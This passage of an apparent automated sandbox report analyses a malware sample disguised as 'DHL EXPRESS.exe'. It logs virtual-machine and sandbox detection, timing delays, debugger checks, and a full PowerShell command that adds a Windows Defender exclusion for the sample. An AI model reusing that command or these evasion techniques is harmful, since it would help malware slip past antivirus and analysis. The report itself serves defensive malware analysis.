Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: RegSvcs.exe, 00000006.00000002.2628785588.0000000000402000.00000040.00000400.00020000.00000000.sdmp, RegSvcs.exe, 00000006.00000002.2638363384.0000000002EB5000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Memory allocated: 1D2A8E60000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Memory allocated: 1D2C26D0000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599311	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598849	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598525	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598313	Jump to behavior

Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Window / User API: threadDelayed 5070	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Window / User API: threadDelayed 769	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8283	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1245	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 7066	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 2714	Jump to behavior

Source: C:\Users\user\Desktop\DHL EXPRESS.exe TID: 7796	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe TID: 7796	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe TID: 7796	Thread sleep time: -99874s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe TID: 7796	Thread sleep time: -99765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe TID: 7796	Thread sleep time: -99655s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe TID: 7796	Thread sleep time: -99547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe TID: 7796	Thread sleep time: -99436s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe TID: 7796	Thread sleep time: -99322s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe TID: 7796	Thread sleep time: -99203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe TID: 7796	Thread sleep time: -99093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe TID: 7796	Thread sleep time: -98984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe TID: 7796	Thread sleep time: -98874s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe TID: 7796	Thread sleep time: -98748s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe TID: 7796	Thread sleep time: -98609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe TID: 7796	Thread sleep time: -98494s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe TID: 7796	Thread sleep time: -98375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe TID: 7796	Thread sleep time: -98203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe TID: 7796	Thread sleep time: -98072s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe TID: 7796	Thread sleep time: -97953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe TID: 7796	Thread sleep time: -97839s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe TID: 7796	Thread sleep time: -97719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe TID: 7796	Thread sleep time: -97597s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 42924	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Thread delayed: delay time: 99874	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Thread delayed: delay time: 99765	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Thread delayed: delay time: 99655	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Thread delayed: delay time: 99547	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Thread delayed: delay time: 99436	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Thread delayed: delay time: 99322	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Thread delayed: delay time: 99203	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Thread delayed: delay time: 99093	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Thread delayed: delay time: 98984	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Thread delayed: delay time: 98874	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Thread delayed: delay time: 98748	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Thread delayed: delay time: 98609	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Thread delayed: delay time: 98494	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Thread delayed: delay time: 98375	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Thread delayed: delay time: 98203	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Thread delayed: delay time: 98072	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Thread delayed: delay time: 97953	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Thread delayed: delay time: 97839	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Thread delayed: delay time: 97719	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Thread delayed: delay time: 97597	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599311	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598849	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598525	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598313	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99556	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99342	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99231	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99114	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98985	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98862	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98618	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98499	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98277	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98132	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97919	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97795	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97651	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97489	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97374	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97264	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97155	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97046	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96933	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96794	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96229	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96106	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95918	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95777	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95557	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95433	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95327	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 95090	Jump to behavior

Source: Amcache.hve.10.dr	Binary or memory string: VMware
Source: Amcache.hve.10.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.10.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.10.dr	Binary or memory string: VMware-42 27 c5 9a 47 85 d6 84-53 49 ec ec 87 a6 6d 67
Source: Amcache.hve.10.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.10.dr	Binary or memory string: VMware20,1hbin@
Source: DHL EXPRESS.exe, 00000000.00000002.2814835256.000001D2A8E0E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0c
Source: Amcache.hve.10.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.10.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.10.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.10.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: RegSvcs.exe, 00000006.00000002.2642576894.0000000006051000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll,
Source: Amcache.hve.10.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.10.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.10.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.10.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.10.dr	Binary or memory string: vmci.syshbin`
Source: RegSvcs.exe, 00000006.00000002.2638363384.0000000002EB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: Amcache.hve.10.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.10.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.10.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.LOG1.10.dr, Amcache.hve.10.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.10.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.10.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.10.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.10.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.LOG1.10.dr, Amcache.hve.10.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.10.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.10.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.10.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.10.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: RegSvcs.exe, 00000006.00000002.2628785588.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VMwareVBox
Source: Amcache.hve.10.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 6_2_02E37ED0 CheckRemoteDebuggerPresent,

6_2_02E37ED0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\DHL EXPRESS.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DHL EXPRESS.exe" -Force
